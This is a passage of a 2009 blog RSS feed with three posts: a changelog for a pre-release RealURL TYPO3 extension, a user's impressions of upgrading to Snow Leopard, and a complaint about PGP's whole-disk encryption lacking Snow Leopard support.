			<content:encoded><![CDATA[<p>The next version of the RealURl TYPO3 extension is almost ready. You can <a href="http://dmitry-dulepov.com/fileadmin/misc/T3X_realurl-1_5_3C-z-200910081224.t3x" title="Initiates file download" class="download" >grab</a> a pre–release copy of it. This version supports long cHash values that will appear and in TYPO3 4.3. Running on&nbsp;PHP 5.3 is fully supported and tested.&nbsp;There is also a lot of bug fixes and an improved redirect module. Here is a full list since the previous release:</p><ul><li>Fixed bug #11393: 2 folder with &quot;exclude from speaking URL&quot; - 404Error</li><li>Fixed bug #9545: &quot;exclude from speaking url segment&quot; doesn't work if there are two or more pages with the flag in the same directory</li><li>Fixed bug #12137: Field field_alias in table tx_realurl_uniqalias too small when using CONCAT_WS('-',verylongfieldname,other...) in alias_field</li><li>Fixed bug #11042: Wrong behaviuor of exclude from speaking url parameter</li><li>Fixed bug #9877: Problems with PD-Admin</li><li>Fixed bug #10329: Speaking URL path segment disappered from page overlay</li><li>Changed index bk_realurl02 (shorter key)</li><li>Commented TCEmain hook: it needs a better way of handling page renames</li><li>Fixed bug #9976: realurl stops working when encodeSpURL_postProc hook is used</li><li>Fixed bug #11873: Error in dokumentation decodeSpURL_postProc does not exist</li><li>Fixed bug #11347: Strip Tags in Titles</li><li>Fixed bug #11777: Add new field &quot;spurl_string&quot; to tx_realurl_chashcache that makes it easier to debug the contents of this table</li><li>Fixed bug #9267: &quot;bad&quot; line in realurl manual</li><li>Removed ereg_* functions (deprecated in PHP 5.3)</li><li>Small fixes in the redirect module</li><li>Replace cHash with the one provided in the query string (Snowflake fix)</li><li>Reworked redirects module</li><li>Fixed problem: if default language uid is not 0 and language is not set in the URL, RealURL still used 0</li><li>Changed layout and fields in the 'Redirects' function</li><li>Removed 'Clear cache' on extension update</li><li>Changed cHash table to use a full md5 string as URL hash. This makes less possible to create wrong cHashes.</li><li>Use full URL in redirects to prevent wrong redirects</li><li>Removed a method to find root page id by is_siteroot check</li><li>Fixed double call to findRootPageId() when using _DOMAINS</li><li>Added pages_language_overlay to modified_tables to make EM happy</li><li>Removed hash from tx_realurl_pathcache and optimized the whole handling of this cache with additional indexes</li><li>Added strict mode with more checks for the configuration</li><li>Added a call to pageNotFound and exit if incoming URL cannot be parsed</li></ul><p>&nbsp;</p>
<p>&nbsp;</p><div><p>What we all need now is a lot of testing. Please, get this version and test it. If you find a bug, post it to the <a href="http://bugs.typo3.org/" title="TYPO3 bug tracker" target="_blank" class="external-link-new-window" >bug tracker</a>, please (no e–mails!). If you have a question about this new version, please, ask in the <a href="http://typo3.org/community/mailing-lists/" title="TYPO3 mailing lists" target="_blank" class="external-link-new-window" >mailing lists</a> (no e–mails!).</p></div><p>&nbsp;</p>
<p>&nbsp;</p>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Thu, 08 Oct 2009 13:34:00 +0300</pubDate>
			
		</item>
		
		<item>
			<title>Installed Snow Leopard</title>
			<link>http://dmitry-dulepov.com/article/installed-snow-leopard.html</link>
			<description>Yesterday I installed Snow Leopard. Details under the link.</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/installed-snow-leopard.html</guid>
			<content:encoded><![CDATA[<p>Yesterday I installed Snow Leopard. Here is what I liked:</p>
<p>&nbsp;</p><ul><li>Exposé in Dock</li><li>Minimize to the same icon instead of adding extra icon to the Dock</li><li>Loads and in general works faster</li><li>Remembers language settings for each application. Now I can type in Russian in Skype, in Latvia in the web browser and in English in NetBeans without using language switch</li></ul><p>What I did not like:</p>
<p>&nbsp;</p><ul><li>Safari plugins lost</li><li>huge icons in stacks with no way to make them smaller</li><li>PHP 5.3 and no way to downgrade to 5.2.x</li></ul><p>It took 1 hour 15 minutes to update my MacBook Pro.&nbsp;In general it was a good update.</p>
<p>&nbsp;</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Mon, 28 Sep 2009 10:20:00 +0300</pubDate>
			
		</item>
		
		<item>
			<title>Getting rid of PGP WDE for Mac</title>
			<link>http://dmitry-dulepov.com/article/getting-rid-of-pgp-wde-for-mac.html</link>
			<description>PGP Inc fails to provide a Snow Leopard Whole Disk Encryption solution in time. I get rid of PGP software.</description>
			<guid isPermaLink="true">http://dmitry-dulepov.com/article/getting-rid-of-pgp-wde-for-mac.html</guid>
			<content:encoded><![CDATA[<p>A couple of months ago I installed PGP Whole&nbsp;Disk&nbsp;Encryption (WDE) for Mac OS X. This software encrypts the entire hard disk and requires pre–boot authentication before allowing Mac OS X to boot. It worked well on Leopard: no slow downs, no faults, simple and effective. I like it.</p>
<p>Now Snow Leopard is out. PGP Inc promised to release a Snow Leopard–compatible version of WDE together with the Snow Leopard release. They failed. Instead they offered a beta program where anybody can sign up. I signed up twice. No good. Not even a single response from PGP.</p>
<p>PGP keeps complete silence about updating WDE for Snow Leopard. I waited for weeks but now I decided to get rid of WDE. It is a bad attitude to customers, when&nbsp;PGP continues to keep silence while users actively ask about the status of the software.</p>
<p>I decided to get rid of WDE and install Snow Leopard. If PGP Inc fails to keep its promises and ignores its customers, than I am no longer a customer of PGP Inc. That ends PGP product usage for me.</p>
<p>&nbsp;</p>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Fri, 25 Sep 2009 12:25:00 +0300</pubDate>
			
		</item>
		
	</channel>
</rss>